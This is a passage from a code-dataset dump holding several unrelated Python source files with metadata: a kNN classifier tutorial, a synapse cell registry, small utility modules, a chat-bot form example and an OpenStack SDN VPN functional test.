normMat.shape[0]\n\tprint('数据个数: %d' % m)\n\tnumTestVecs = int(m*hoRatio)\n\terrorCount = 0.0\n\n\tfor i in range(numTestVecs):\n\t\tclassifierResult = classify(normMat[i, :], normMat[numTestVecs:m, :],\n\t\t\tlabels[numTestVecs:m], 10)\n\t\tprint('分类结果: %d\\t 真实类别: %d' % (classifierResult, labels[i]))\n\t\tif classifierResult != labels[i]:\n\t\t\terrorCount += 1.0\n\tprint('准确率: %.2f%%' % (100 - errorCount / numTestVecs * 100))\n\n\n# if __name__ == '__main__':\n# \tdatingClassTest()\n\n\n################################################\n# 识别数字\n################################################\ndef img2vector(filename):\n\tdatas = np.zeros((1, 1024))\n\tfn = open(filename)\n\tfor i in range(32):\n\t\tline = fn.readline()\n\t\tfor j in range(32):\n\t\t\tdatas[0, 32*i+j] = int(line[j])\n\treturn datas\n\n\ndef handwritingClassTest():\n\tlabels = []\n\ttrainingFileList = os.listdir('./action/Ch02/digits/trainingDigits')\n\trandom.shuffle(trainingFileList) \n\tm = len(trainingFileList) # 文件数\n\tprint('m: %d' % m)\n\ttrainingMat = np.zeros((m, 1024))\n\tfor i in range(m):\n\t\tfileNameStr = trainingFileList[i] # 0_25.txt\n\t\tfileStr = fileNameStr.split('.')[0]\t# 0_25\n\t\tclassNumStr = int(fileStr.split('_')[0]) # 0\n\t\tlabels.append(classNumStr)\n\t\ttrainingMat[i, :] = img2vector('./action/Ch02/digits/trainingDigits/%s' % fileNameStr)\n\n\ttestFileList = os.listdir('./action/Ch02/digits/testDigits')\n\trandom.shuffle(testFileList)\n\terrorCount = 0.0\n\tmTest = len(testFileList)\n\tprint('mTest: %d' % mTest)\n\tfor i in range(mTest):\n\t\tfileNameStr = testFileList[i]\n\t\tfileStr = fileNameStr.split('.')[0]\n\t\tclassNumStr = int(fileStr.split('_')[0])\n\t\tvectorUnderTest = img2vector('./action/Ch02/digits/testDigits/%s' % fileNameStr)\n\t\tclassifierResult = classify(vectorUnderTest, trainingMat, labels, 50)\n\t\tprint('训练结果: %d\\t原始数字: %d' % (classifierResult, classNumStr))\n\t\tif classifierResult != classNumStr:\n\t\t\terrorCount += 1.0\n\tprint('错误个数: %d' % errorCount)\n\tprint('错误率: %.2f%%' % (errorCount / mTest * 100))\n\n\nif __name__ == '__main__':\n\thandwritingClassTest()\n\t# print(img2vector('./action/Ch02/digits/trainingDigits/0_25.txt')[0, :32])\n\n#######################################################################\n # 思路:\n # 1. 处理数据\n # [[数据1, 数据2, ..., 类1],\n # [数据1, 数据2, ..., 类2],\n # [ ... ]]\n # (1) 提取数据和类别(标签)\n # (2) 数据归一化\n # \t找到最大值和最小值 --> 数据范围\n # \t返回: (数据 - 最小值) / 数据范围 --> 归一化后数据\n \n # 2. 数据训练\n # (1) 取出一部分数据作为测试数据\n # (2) 用测试数据验证训练数据\n # (3) 利用欧式距离,找出最近的k个值,取出其中数目最多的类别\n # (4) 测算准确率\n\n######################################################################\n # k如何取值准确率最高?\n # k值并不是越高越好\n # k = 1 error rate: 1.27\n # k = 2 error rate: 1.37\n # k = 3 error rate: 1.16 ***\n # k = 4 error rate: 1.48\n # k = 5 error rate: 1.8\n # k = 6 error rate: 2.01\n # k = 7 error rate: 2.43\n # k = 8 error rate: 2.22\n # k = 9 error rate: 2.22\n # k = 10 error rate: 2.11\n # k = 20 error rate: 2.85\n\n######################################################################\n# k值的取值过程:\n# (1) 根据np.argsort进行排名: 排名连续的；出现相同的数, 位置在前的排名在前\n# (2) 取出排名最靠前的k个值(类别)\n# (3) 统计k个值中不同类别的个数\n# (4) 返回数目最多的类别\n# ps: 距离最近的并不一定为返回结果\n", "sub_path": "knn.py", "file_name": "knn.py", "file_ext": "py", "file_size_in_byte": 10499, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "numpy.zeros", "line_number": 102, "usage_type": "call"}, {"api_name": "matplotlib.font_manager.FontProperties", "line_number": 121, "usage_type": "call"}, {"api_name": "matplotlib.pyplot.subplots", "line_number": 122, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 122, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 140, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 140, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 150, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 150, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.setp", "line_number": 160, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 160, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 163, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 163, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 164, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 164, "usage_type": "name"}, {"api_name": "matplotlib.lines.Line2D", "line_number": 165, "usage_type": "call"}, {"api_name": "matplotlib.lines", "line_number": 165, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.subplots_adjust", "line_number": 173, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 173, "usage_type": "name"}, {"api_name": "matplotlib.pyplot.show", "line_number": 174, "usage_type": "call"}, {"api_name": "matplotlib.pyplot", "line_number": 174, "usage_type": "name"}, {"api_name": "numpy.zeros", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.shape", "line_number": 194, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 196, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 197, "usage_type": "call"}, {"api_name": "numpy.tile", "line_number": 213, "usage_type": "call"}, {"api_name": "operator.itemgetter", "line_number": 222, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 254, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 265, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 269, "usage_type": "call"}, {"api_name": "os.listdir", "line_number": 277, "usage_type": "call"}]} {"seq_id": "250949702", "text": "'''\nConstructors for the various cells.\n( used for dmon config automation)\n'''\nimport synapse.exc as s_exc\nimport synapse.axon as s_axon\nimport synapse.common as s_common\nimport synapse.cortex as s_cortex\nimport synapse.cryotank as s_cryotank\n\nimport synapse.lib.auth as s_auth\nimport synapse.lib.lmdblayer as s_lmdblayer\nimport synapse.lib.remotelayer as s_remotelayer\n\nctors = {\n 'auth': s_auth.Auth,\n 'axon': s_axon.Axon,\n 'layer-lmdb': s_lmdblayer.LmdbLayer,\n 'layer-remote': s_remotelayer.RemoteLayer,\n 'cortex': s_cortex.Cortex,\n 'blobstor': s_axon.BlobStor,\n 'cryocell': s_cryotank.CryoCell,\n 'cryotank': s_cryotank.CryoTank\n}\n\ndef add(name, ctor):\n '''\n Add a Cell() constructor alias.\n\n Args:\n name (str): Name of the cell alias.\n ctor: Function used to create the Cell().\n\n Notes:\n Third party modules which implement ``synapse.lib.cell.Cell`` classes\n should import ``synapse.cells`` and register an alias and class path\n for their ``Cell`` using this function. This can be done in a module\n ``__init__.py`` file.\n '''\n ctors[name] = ctor\n\nasync def init(name, dirn, *args, **kwargs):\n '''\n Initialize and return a Cell() object by alias.\n '''\n ctor = ctors.get(name)\n if ctor is None:\n raise s_exc.NoSuchName(name=name, mesg='No cell ctor by that name')\n\n return await ctor.anit(dirn, *args, **kwargs)\n\nasync def initFromDirn(dirn, *args, **kwargs):\n '''\n As above, but retrieves type from boot.yaml in dirn\n '''\n conf = s_common.yamlload(dirn, 'boot.yaml') or {}\n kind = conf.get('type')\n if type is None:\n raise s_exc.BadConfValu('boot.yaml missing type key')\n return await init(kind, dirn, *args, **kwargs)\n\ndef deploy(name, dirn, boot=None):\n '''\n Deploy a cell of the named type to the specified directory.\n '''\n ctor = ctors.get(name)\n if ctor is None:\n raise s_exc.NoSuchName(name=name, mesg='No cell ctor by that name')\n\n if boot is None:\n boot = {}\n\n boot['type'] = name\n\n # create the boot.yaml\n s_common.yamlsave(boot, dirn, 'boot.yaml')\n\n # Cell has a deploy class method (possibly per cell type)\n ctor.deploy(dirn)\n\ndef getCells():\n '''\n Get a list of registered cell aliases and their fully qualified paths.\n '''\n ret = []\n for alias, ctor in ctors.items():\n ret.append((alias, '.'.join([ctor.__module__, ctor.__qualname__])))\n return ret\n", "sub_path": "synapse/cells.py", "file_name": "cells.py", "file_ext": "py", "file_size_in_byte": 2475, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "synapse.lib.auth.Auth", "line_number": 16, "usage_type": "attribute"}, {"api_name": "synapse.lib.auth", "line_number": 16, "usage_type": "name"}, {"api_name": "synapse.axon.Axon", "line_number": 17, "usage_type": "attribute"}, {"api_name": "synapse.axon", "line_number": 17, "usage_type": "name"}, {"api_name": "synapse.lib.lmdblayer.LmdbLayer", "line_number": 18, "usage_type": "attribute"}, {"api_name": "synapse.lib.lmdblayer", "line_number": 18, "usage_type": "name"}, {"api_name": "synapse.lib.remotelayer.RemoteLayer", "line_number": 19, "usage_type": "attribute"}, {"api_name": "synapse.lib.remotelayer", "line_number": 19, "usage_type": "name"}, {"api_name": "synapse.cortex.Cortex", "line_number": 20, "usage_type": "attribute"}, {"api_name": "synapse.cortex", "line_number": 20, "usage_type": "name"}, {"api_name": "synapse.axon.BlobStor", "line_number": 21, "usage_type": "attribute"}, {"api_name": "synapse.axon", "line_number": 21, "usage_type": "name"}, {"api_name": "synapse.cryotank.CryoCell", "line_number": 22, "usage_type": "attribute"}, {"api_name": "synapse.cryotank", "line_number": 22, "usage_type": "name"}, {"api_name": "synapse.cryotank.CryoTank", "line_number": 23, "usage_type": "attribute"}, {"api_name": "synapse.cryotank", "line_number": 23, "usage_type": "name"}, {"api_name": "synapse.exc.NoSuchName", "line_number": 48, "usage_type": "call"}, {"api_name": "synapse.exc", "line_number": 48, "usage_type": "name"}, {"api_name": "synapse.common.yamlload", "line_number": 56, "usage_type": "call"}, {"api_name": "synapse.common", "line_number": 56, "usage_type": "name"}, {"api_name": "synapse.exc.BadConfValu", "line_number": 59, "usage_type": "call"}, {"api_name": "synapse.exc", "line_number": 59, "usage_type": "name"}, {"api_name": "synapse.exc.NoSuchName", "line_number": 68, "usage_type": "call"}, {"api_name": "synapse.exc", "line_number": 68, "usage_type": "name"}, {"api_name": "synapse.common.yamlsave", "line_number": 76, "usage_type": "call"}, {"api_name": "synapse.common", "line_number": 76, "usage_type": "name"}]} {"seq_id": "223058147", "text": "# -*- coding: utf-8 -*-\nimport json\n\nfrom utilities.exceptions import NoConfigFile\n\n\ndef read_config(path):\n try:\n with open(path, \"r\", encoding=\"utf-8\") as f:\n return json.loads(f.read())\n except FileNotFoundError:\n raise NoConfigFile(\"No config file found!\"\n \"Check it please. Doesn't work without it.\")", "sub_path": "utilities/file_handlers.py", "file_name": "file_handlers.py", "file_ext": "py", "file_size_in_byte": 362, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "json.loads", "line_number": 10, "usage_type": "call"}, {"api_name": "utilities.exceptions.NoConfigFile", "line_number": 12, "usage_type": "call"}]} {"seq_id": "437704349", "text": "import itertools\nimport operator\nfrom collections import defaultdict\nfrom functools import reduce\n\n\ndef count_by_attr(iterable, by):\n d = defaultdict(int)\n for obj in iterable:\n key = getattr(obj, by)\n d[key] += 1\n\n return d\n\n\ndef dict_by_attr(iterable, by, get=None, default_factory=None):\n if default_factory is not None:\n d = defaultdict(default_factory)\n else:\n d = {}\n\n for obj in iterable:\n key = getattr(obj, by)\n if get is not None:\n obj = getattr(obj, get)\n d[key] = obj\n\n return d\n\n\ndef group_by_attr(iterable, by, get=None):\n d = defaultdict(list)\n for obj in iterable:\n key = getattr(obj, by)\n if get is not None:\n obj = getattr(obj, get)\n d[key].append(obj)\n\n return d\n\n\ndef iter_compare_dicts(dict1, dict2, only_common_keys=False, comparison_op=operator.ne):\n \"\"\"\n A generator for comparation of values in the given two dicts.\n\n Yields the tuples (key, pair of values positively compared).\n\n By default, the *difference* of values is evaluated using the usual != op, but can be changed\n by passing other comparison_op (a function of two arguments returning True/False).\n\n For example: operator.eq for equal values, operator.is_not for not identical objects.\n\n You can also require comparison only over keys existing in both dicts (only_common_keys=True).\n Otherwise, you will get the pair with the Python built-in Ellipsis placed for dict with\n that key missing. (Be sure to test for Ellipsis using the 'is' operator.)\n\n >>> d1 = dict(a=1, b=2, c=3)\n >>> d2 = dict(a=1, b=20, d=4)\n >>> dict(iter_compare_dicts(d1, d2, only_common_keys=True))\n {'b': (2, 20)}\n >>> dict(iter_compare_dicts(d1, d2, only_common_keys=True, comparison_op=operator.eq))\n {'a': (1, 1)}\n >>> dict(iter_compare_dicts(d1, d2))\n {'c': (3, Ellipsis), 'b': (2, 20), 'd': (Ellipsis, 4)}\n >>> dict(iter_compare_dicts(d1, d2, comparison_op=operator.eq))\n {'a': (1, 1), 'c': (3, Ellipsis), 'd': (Ellipsis, 4)}\n \"\"\"\n keyset1, keyset2 = set(dict1), set(dict2)\n\n for key in (keyset1 & keyset2):\n pair = (dict1[key], dict2[key])\n if reduce(comparison_op, pair):\n yield key, pair\n\n if not only_common_keys:\n for key in (keyset1 - keyset2):\n yield key, (dict1[key], Ellipsis)\n for key in (keyset2 - keyset1):\n yield key, (Ellipsis, dict2[key])\n\n\ndef iter_ibatches(iterable, size):\n \"\"\"\n https://code.activestate.com/recipes/303279-getting-items-in-batches/\n\n Generates iterators of elements of fixed size from the source iterable. Does not create batch sequences in memory.\n The source iterable can be of an unknown arbitrary length, does not need to support anything else than iteration.\n itertools.islice provides a size-bounded iterator over the given iterator.\n\n To know when we're done batching is the tricky part, as islice is happy to continue returning empty iterators\n on source exhaustion. We never want to yield an empty iterator. So we try to consume each batch a bit, which\n possibly raises StopIteration stopping the generator function itself.\n\n WARNING:\n Each batch must be entirely consumed before proceeding to the next one, otherwise you will get unexpected behaviour!\n\n >>> for b in iter_ibatches(range(55), 10):\n ... print(tuple(b))\n (0, 1, 2, 3, 4, 5, 6, 7, 8, 9)\n (10, 11, 12, 13, 14, 15, 16, 17, 18, 19)\n (20, 21, 22, 23, 24, 25, 26, 27, 28, 29)\n (30, 31, 32, 33, 34, 35, 36, 37, 38, 39)\n (40, 41, 42, 43, 44, 45, 46, 47, 48, 49)\n (50, 51, 52, 53, 54)\n\n \"\"\"\n it = iter(iterable)\n while True:\n batch_it = itertools.islice(it, size)\n try:\n yield itertools.chain([next(batch_it)], batch_it)\n except StopIteration:\n return\n", "sub_path": "useful/transforms.py", "file_name": "transforms.py", "file_ext": "py", "file_size_in_byte": 3877, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "collections.defaultdict", "line_number": 8, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 18, "usage_type": "call"}, {"api_name": "collections.defaultdict", "line_number": 32, "usage_type": "call"}, {"api_name": "operator.ne", "line_number": 42, "usage_type": "attribute"}, {"api_name": "functools.reduce", "line_number": 72, "usage_type": "call"}, {"api_name": "itertools.islice", "line_number": 109, "usage_type": "call"}, {"api_name": "itertools.chain", "line_number": 111, "usage_type": "call"}]} {"seq_id": "360403553", "text": "import logging\nfrom pyAitu import executor, Bot, Dispatcher\nfrom pyAitu.models import Message, Options, Form, Header, FormClosed, ValidationRule, Submit, FormAction\nfrom pyAitu.models.form.content.date_picker import DatePicker\n\nAPI_TOKEN = 'YOUR_API_TOKEN'\n\nbot = Bot(token=API_TOKEN)\ndp = Dispatcher(bot)\n\nlogging.basicConfig(level=logging.INFO)\n\n\n@dp.message_handler()\nasync def send_ui(message: Message):\n header = Header(\n _type=\"toolbar\",\n title=\"Title\",\n options=Options(\n closeable=True\n )\n )\n date_picker = DatePicker(\n content_id=\"date_id_1\",\n title=\"Date title\",\n selected_date=\"01-01-2019\",\n options=Options(\n min_date=\"01-01-2018\",\n max_date=\"01-01-2030\"\n ),\n validations_rules=[ValidationRule(type=\"required\", value=\"true\", error=\"Это поле обязательно для заполнения\")]\n )\n submit = Submit(\n content_id=\"submit_id\",\n title=\"Send\",\n form_action=FormAction(\n action=\"submit_form\"\n )\n )\n form = Form(_id=\"date_picker_form\", header=header, content=[date_picker, submit], options=Options(fullscreen=True))\n await bot.send_form(message.chat.id, form=form)\n\n\n@dp.form_closed_handler()\nasync def get_form_closed(fc: FormClosed):\n await bot.send_message(fc.chat.id, \"form closed\")\n\n\nif __name__ == '__main__':\n executor.start_polling(dp)\n", "sub_path": "examples/date_picker_bot.py", "file_name": "date_picker_bot.py", "file_ext": "py", "file_size_in_byte": 1445, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "pyAitu.Bot", "line_number": 8, "usage_type": "call"}, {"api_name": "pyAitu.Dispatcher", "line_number": 9, "usage_type": "call"}, {"api_name": "logging.basicConfig", "line_number": 11, "usage_type": "call"}, {"api_name": "logging.INFO", "line_number": 11, "usage_type": "attribute"}, {"api_name": "pyAitu.models.Message", "line_number": 15, "usage_type": "name"}, {"api_name": "pyAitu.models.Header", "line_number": 16, "usage_type": "call"}, {"api_name": "pyAitu.models.Options", "line_number": 19, "usage_type": "call"}, {"api_name": "pyAitu.models.form.content.date_picker.DatePicker", "line_number": 23, "usage_type": "call"}, {"api_name": "pyAitu.models.Options", "line_number": 27, "usage_type": "call"}, {"api_name": "pyAitu.models.ValidationRule", "line_number": 31, "usage_type": "call"}, {"api_name": "pyAitu.models.Submit", "line_number": 33, "usage_type": "call"}, {"api_name": "pyAitu.models.FormAction", "line_number": 36, "usage_type": "call"}, {"api_name": "pyAitu.models.Form", "line_number": 40, "usage_type": "call"}, {"api_name": "pyAitu.models.Options", "line_number": 40, "usage_type": "call"}, {"api_name": "pyAitu.models.FormClosed", "line_number": 45, "usage_type": "name"}, {"api_name": "pyAitu.executor.start_polling", "line_number": 50, "usage_type": "call"}, {"api_name": "pyAitu.executor", "line_number": 50, "usage_type": "name"}]} {"seq_id": "217979251", "text": "#!/usr/bin/python\n#\n# Copyright (c) 2017 All rights reserved\n# This program and the accompanying materials\n# are made available under the terms of the Apache License, Version 2.0\n# which accompanies this distribution, and is available at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n\nimport argparse\nfrom random import randint\n\nimport functest.utils.functest_logger as ft_logger\nimport functest.utils.openstack_utils as os_utils\n\nfrom sdnvpn.lib import utils as test_utils\nfrom sdnvpn.lib import config as sdnvpn_config\nfrom sdnvpn.lib.results import Results\n\nparser = argparse.ArgumentParser()\n\nparser.add_argument(\"-r\", \"--report\",\n help=\"Create json result file\",\n action=\"store_true\")\n\nargs = parser.parse_args()\n\nlogger = ft_logger.Logger(\"sdnvpn-testcase-1\").getLogger()\n\nCOMMON_CONFIG = sdnvpn_config.CommonConfig()\nTESTCASE_CONFIG = sdnvpn_config.TestcaseConfig('testcase_1')\n\n\ndef main():\n results = Results(COMMON_CONFIG.line_length)\n\n results.add_to_summary(0, \"=\")\n results.add_to_summary(2, \"STATUS\", \"SUBTEST\")\n results.add_to_summary(0, \"=\")\n\n nova_client = os_utils.get_nova_client()\n neutron_client = os_utils.get_neutron_client()\n glance_client = os_utils.get_glance_client()\n\n image_id = os_utils.create_glance_image(glance_client,\n TESTCASE_CONFIG.image_name,\n COMMON_CONFIG.image_path,\n disk=COMMON_CONFIG.image_format,\n container=\"bare\",\n public='public')\n network_1_id = test_utils.create_net(neutron_client,\n TESTCASE_CONFIG.net_1_name)\n test_utils.create_subnet(neutron_client,\n TESTCASE_CONFIG.subnet_1_name,\n TESTCASE_CONFIG.subnet_1_cidr,\n network_1_id)\n\n network_2_id = test_utils.create_net(neutron_client,\n TESTCASE_CONFIG.net_2_name)\n\n test_utils.create_subnet(neutron_client,\n TESTCASE_CONFIG.subnet_2_name,\n TESTCASE_CONFIG.subnet_2_cidr,\n network_2_id)\n\n sg_id = os_utils.create_security_group_full(neutron_client,\n TESTCASE_CONFIG.secgroup_name,\n TESTCASE_CONFIG.secgroup_descr)\n\n compute_nodes = test_utils.assert_and_get_compute_nodes(nova_client)\n\n av_zone_1 = \"nova:\" + compute_nodes[0]\n av_zone_2 = \"nova:\" + compute_nodes[1]\n\n # boot INTANCES\n vm_2 = test_utils.create_instance(\n nova_client,\n TESTCASE_CONFIG.instance_2_name,\n image_id,\n network_1_id,\n sg_id,\n secgroup_name=TESTCASE_CONFIG.secgroup_name,\n compute_node=av_zone_1)\n vm_2_ip = test_utils.get_instance_ip(vm_2)\n\n vm_3 = test_utils.create_instance(\n nova_client,\n TESTCASE_CONFIG.instance_3_name,\n image_id,\n network_1_id,\n sg_id,\n secgroup_name=TESTCASE_CONFIG.secgroup_name,\n compute_node=av_zone_2)\n vm_3_ip = test_utils.get_instance_ip(vm_3)\n\n vm_5 = test_utils.create_instance(\n nova_client,\n TESTCASE_CONFIG.instance_5_name,\n image_id,\n network_2_id,\n sg_id,\n secgroup_name=TESTCASE_CONFIG.secgroup_name,\n compute_node=av_zone_2)\n vm_5_ip = test_utils.get_instance_ip(vm_5)\n\n # We boot vm5 first because we need vm5_ip for vm4 userdata\n u4 = test_utils.generate_ping_userdata([vm_5_ip])\n vm_4 = test_utils.create_instance(\n nova_client,\n TESTCASE_CONFIG.instance_4_name,\n image_id,\n network_2_id,\n sg_id,\n secgroup_name=TESTCASE_CONFIG.secgroup_name,\n compute_node=av_zone_1,\n userdata=u4)\n vm_4_ip = test_utils.get_instance_ip(vm_4)\n\n # We boot VM1 at the end because we need to get the IPs first to generate\n # the userdata\n u1 = test_utils.generate_ping_userdata([vm_2_ip,\n vm_3_ip,\n vm_4_ip,\n vm_5_ip])\n vm_1 = test_utils.create_instance(\n nova_client,\n TESTCASE_CONFIG.instance_1_name,\n image_id,\n network_1_id,\n sg_id,\n secgroup_name=TESTCASE_CONFIG.secgroup_name,\n compute_node=av_zone_1,\n userdata=u1)\n\n msg = (\"Create VPN with eRT<>iRT\")\n results.record_action(msg)\n vpn_name = \"sdnvpn-\" + str(randint(100000, 999999))\n kwargs = {\n \"import_targets\": TESTCASE_CONFIG.targets1,\n \"export_targets\": TESTCASE_CONFIG.targets2,\n \"route_distinguishers\": TESTCASE_CONFIG.route_distinguishers,\n \"name\": vpn_name\n }\n bgpvpn = os_utils.create_bgpvpn(neutron_client, **kwargs)\n bgpvpn_id = bgpvpn['bgpvpn']['id']\n logger.debug(\"VPN created details: %s\" % bgpvpn)\n\n msg = (\"Associate network '%s' to the VPN.\" % TESTCASE_CONFIG.net_1_name)\n results.record_action(msg)\n results.add_to_summary(0, \"-\")\n\n os_utils.create_network_association(\n neutron_client, bgpvpn_id, network_1_id)\n\n # Wait for VMs to get ips.\n instances_up = test_utils.wait_for_instances_up(vm_1, vm_2,\n vm_3, vm_4,\n vm_5)\n\n if not instances_up:\n logger.error(\"One or more instances is down\")\n # TODO: Handle this appropriately\n\n results.get_ping_status(vm_1, vm_2, expected=\"PASS\", timeout=200)\n results.get_ping_status(vm_1, vm_3, expected=\"PASS\", timeout=30)\n results.get_ping_status(vm_1, vm_4, expected=\"FAIL\", timeout=30)\n\n msg = (\"Associate network '%s' to the VPN.\" % TESTCASE_CONFIG.net_2_name)\n results.add_to_summary(0, \"-\")\n results.record_action(msg)\n results.add_to_summary(0, \"-\")\n os_utils.create_network_association(\n neutron_client, bgpvpn_id, network_2_id)\n\n test_utils.wait_for_bgp_net_assocs(neutron_client,\n bgpvpn_id,\n network_1_id,\n network_2_id)\n\n logger.info(\"Waiting for the VMs to connect to each other using the\"\n \" updated network configuration\")\n test_utils.wait_before_subtest()\n\n results.get_ping_status(vm_4, vm_5, expected=\"PASS\", timeout=30)\n # TODO enable again when isolation in VPN with iRT != eRT works\n # results.get_ping_status(vm_1, vm_4, expected=\"FAIL\", timeout=30)\n # results.get_ping_status(vm_1, vm_5, expected=\"FAIL\", timeout=30)\n\n msg = (\"Update VPN with eRT=iRT ...\")\n results.add_to_summary(0, \"-\")\n results.record_action(msg)\n results.add_to_summary(0, \"-\")\n kwargs = {\"import_targets\": TESTCASE_CONFIG.targets1,\n \"export_targets\": TESTCASE_CONFIG.targets1,\n \"name\": vpn_name}\n bgpvpn = os_utils.update_bgpvpn(neutron_client, bgpvpn_id, **kwargs)\n\n logger.info(\"Waiting for the VMs to connect to each other using the\"\n \" updated network configuration\")\n test_utils.wait_before_subtest()\n\n results.get_ping_status(vm_1, vm_4, expected=\"PASS\", timeout=30)\n results.get_ping_status(vm_1, vm_5, expected=\"PASS\", timeout=30)\n\n return results.compile_summary()\n\n\nif __name__ == '__main__':\n main()\n", "sub_path": "sdnvpn/test/functest/testcase_1.py", "file_name": "testcase_1.py", "file_ext": "py", "file_size_in_byte": 7554, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "57", "api": [{"api_name": "argparse.ArgumentParser", "line_number": 21, "usage_type": "call"}, {"api_name": "functest.utils.functest_logger.Logger", "line_number": 29, "usage_type": "call"}, {"api_name": "functest.utils.functest_logger", "line_number": 29, "usage_type": "name"}, {"api_name": "sdnvpn.lib.config.CommonConfig", "line_number": 31, "usage_type": "call"}, {"api_name": "sdnvpn.lib.config", "line_number": 31, "usage_type": "name"}, {"api_name": "sdnvpn.lib.config.TestcaseConfig", "line_number": 32, "usage_type": "call"}, {"api_name": "sdnvpn.lib.config", "line_number": 32, "usage_type": "name"}, {"api_name": "sdnvpn.lib.results.Results", "line_number": 36, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils.get_nova_client", "line_number": 42, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils", "line_number": 42, "usage_type": "name"}, {"api_name": "functest.utils.openstack_utils.get_neutron_client", "line_number": 43, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils", "line_number": 43, "usage_type": "name"}, {"api_name": "functest.utils.openstack_utils.get_glance_client", "line_number": 44, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils", "line_number": 44, "usage_type": "name"}, {"api_name": "functest.utils.openstack_utils.create_glance_image", "line_number": 46, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils", "line_number": 46, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.create_net", "line_number": 52, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 52, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.create_subnet", "line_number": 54, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 54, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.create_net", "line_number": 59, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 59, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.create_subnet", "line_number": 62, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 62, "usage_type": "name"}, {"api_name": "functest.utils.openstack_utils.create_security_group_full", "line_number": 67, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils", "line_number": 67, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.assert_and_get_compute_nodes", "line_number": 71, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 71, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.create_instance", "line_number": 77, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 77, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.get_instance_ip", "line_number": 85, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 85, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.create_instance", "line_number": 87, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 87, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.get_instance_ip", "line_number": 95, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 95, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.create_instance", "line_number": 97, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 97, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.get_instance_ip", "line_number": 105, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 105, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.generate_ping_userdata", "line_number": 108, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 108, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.create_instance", "line_number": 109, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 109, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.get_instance_ip", "line_number": 118, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 118, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.generate_ping_userdata", "line_number": 122, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 122, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.create_instance", "line_number": 126, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 126, "usage_type": "name"}, {"api_name": "random.randint", "line_number": 138, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils.create_bgpvpn", "line_number": 145, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils", "line_number": 145, "usage_type": "name"}, {"api_name": "functest.utils.openstack_utils.create_network_association", "line_number": 153, "usage_type": "call"}, {"api_name": "functest.utils.openstack_utils", "line_number": 153, "usage_type": "name"}, {"api_name": "sdnvpn.lib.utils.wait_for_instances_up", "line_number": 157, "usage_type": "call"}, {"api_name": "sdnvpn.lib.utils", "line_number": 157, "usage_type": "name"}, {"api_name": "functest.utils.openstack_utils.create_network_association", 